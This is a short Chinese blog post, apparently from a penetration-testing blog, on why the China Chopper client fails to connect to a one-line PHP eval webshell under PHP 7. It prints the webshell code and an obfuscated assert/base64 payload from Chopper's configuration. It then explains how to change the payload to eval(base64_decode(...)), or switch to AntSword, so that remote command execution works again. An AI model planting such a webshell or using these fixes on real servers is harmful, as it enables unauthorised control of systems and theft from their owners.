菜刀连接php一句话木马返回200的原因及解决方法

    一句话木马的内容为“<?php @eval($_POST["abc"])?>”,用菜刀连接直接返回200
    
    可是hackbar中执行命令却没有问题
    
    很奇怪。后来在看雪上看到也有人发类似的帖子,评论有人提到是php7版本过高的问题,搜了下确实是这样,php manual中提到:
Dynamic calls for certain functions have been forbidden (in the form of $func() or array_map('extract', ...), etc). These functions either inspect or modify another scope, and present with them ambiguous and unreliable behavior. The functions are as follows:

assert() - with a string as the first argument 

    即php7中动态调用一些函数是被禁止的,比如在array_map中调用assert,否则会提示
    Warning: Cannot call func_num_args() dynamically in %s on line %d
    把一句话里的@符号去掉,则同样会报错“Cannot call assert() with string argument dynamically in ...shell.php(1) : eval()'d code on line 1 ”。
 
    从返回内容可以看到php版本为7.1.6。抓包看了下菜刀的发包,的确用到了array_map("assert"..)
    
    所以只要在菜刀的配置文件里把 array_map("ass"."ert",array("ev"."Al(\"\\\$xx%%3D\\\"Ba"."SE6"."4_dEc"."OdE\\\";@ev"."al(\\\$xx('%s'));\");")); 这句改为 eval(base64_decode('%s'));  之类的就行,总之不用到assert。现在菜刀就可以成功连接了。
 
    
    如果不想改配置的话,可以用蚁剑,直接连接,因为没用到assert,不过Cknife不行,因为有些特殊字符导致报错。
 

评论

发表评论

此博客中的热门博文

Cobalt Strike automigrate自动迁移进程脚本

vultr安装kali linux 折腾手记